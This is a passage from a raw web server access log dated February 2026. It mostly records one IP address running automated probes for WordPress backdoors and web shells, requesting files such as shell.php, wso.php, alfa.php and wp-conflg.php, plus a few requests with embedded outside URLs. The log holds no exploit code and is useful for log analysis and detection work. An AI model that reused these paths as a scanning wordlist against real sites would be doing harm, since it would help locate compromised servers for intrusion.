"-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:16 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:19 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:20 +0300] "GET //wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:23 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:25 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:29 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:29 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:33 +0300] "GET /FII.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:37 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:40 +0300] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:51 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:17 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:20 +0300] "GET /st.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:15 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:16 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:38 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:59 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:59 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:00 +0300] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:01 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:01 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:05 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:06 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:09 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:01 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:04 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:04 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:22 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:25 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:25 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:47 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:15 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:42 +0300] "GET /wp-content/ai1wm-backups/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:47 +0300] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:50 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:29 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:56 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:00 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:03 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:33 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:53 +0300] "GET /wp-includes/Text/lv.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:56 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:44 +0300] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:25 +0300] "GET /wp-content/plugins/wpsearch/login.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:28 +0300] "GET /123.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:44 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:33 +0300] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:21 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:22 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:42 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:34 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:26 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:26 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:27 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:40 +0300] "GET /admin.phphttps://www-vn500.com/inputs.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:52 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:55 +0300] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:12 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:04 +0300] "GET /wp-content/et-cache/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:12 +0300] "GET /news.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:46 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:16:07 +0300] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:16:11 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:01 +0300] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:42 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:36 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:37 +0300] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:38 +0300] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 141.138.215.85 - - [22/Feb/2026:08:03:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 4.193.228.15 - - [22/Feb/2026:08:04:01 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:04 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:05 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:08 +0300] "GET /ioxi-o.phphttps://forower.io/ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:26 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:29 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:33 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:35 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:36 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:40 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:44 +0300] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:44 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:48 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:48 +0300] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:52 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:57 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:00 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:00 +0300] "GET /wp-corn-sample.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:48 +0300] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:39 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:13 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:14 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:17 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:18 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:25 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:42 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:35 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:23 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:23 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:29 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:35 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:35 +0300] "GET /help.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:39 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:45 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:47 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:03 +0300] "GET /server.php HTTP/1.1" 301 795 "-" "-" 43.128.67.187 - - [22/Feb/2026:07:41:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.193.228.15 - - [22/Feb/2026:07:58:06 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:47 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:37 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:52 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:44 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:45 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:13 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:33 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:37 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:41 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:42 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:44 +0300] "GET /wp-admin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:48 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:56 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:59 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:38 +0300] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:42 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:55 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:06 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:40 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:14 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:18 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:21 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:25 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:26 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:26 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:04 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:51 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:10 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:14 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:18 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:16:01 +0300] "GET /server.status HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:16:15 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:57:53 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:47 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:56 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:06 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:06 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:08 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:21 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:22 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:53 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:53 +0300] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:00 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:34 +0300] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:34 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:34 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:47 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:50 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:08 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:10 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:13 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:15 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:48 +0300] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:52 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:13:18 +0300] "GET /akc.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:52 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:56 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:57:43 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:07 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:05 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:05 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:01 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:05 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:06 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:26 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:01:29 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:44 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:34 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:34 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:35 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:26 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:29 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:34 +0300] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:15 +0300] "GET /wp-includes/php-compat/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:37 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:49 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:53 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:56 +0300] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:59 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:10:07 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:11:59 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:21 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:21 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:31 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:16:21 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:57:48 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:21 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:48 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:51 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:51 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:53 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:54 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:18 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:18 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:04:21 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:06 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:10 +0300] "GET /wp-includes/Text/xwx1.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:08:19 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:09 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:10 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:40 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:14:55 +0300] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:57:33 +0300] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:57:36 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:57:36 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:27 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:30 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:33 +0300] "GET /edit.phphttps://win55.bike/ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:02:49 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:29 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:33 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:40 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:40 +0300] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:13 +0300] "GET /class-php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:06:17 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:07:54 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:09:15 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:12:37 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:15:25 +0300] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 167.94.138.200 - - [22/Feb/2026:09:38:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 123.187.240.242 - - [22/Feb/2026:09:37:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 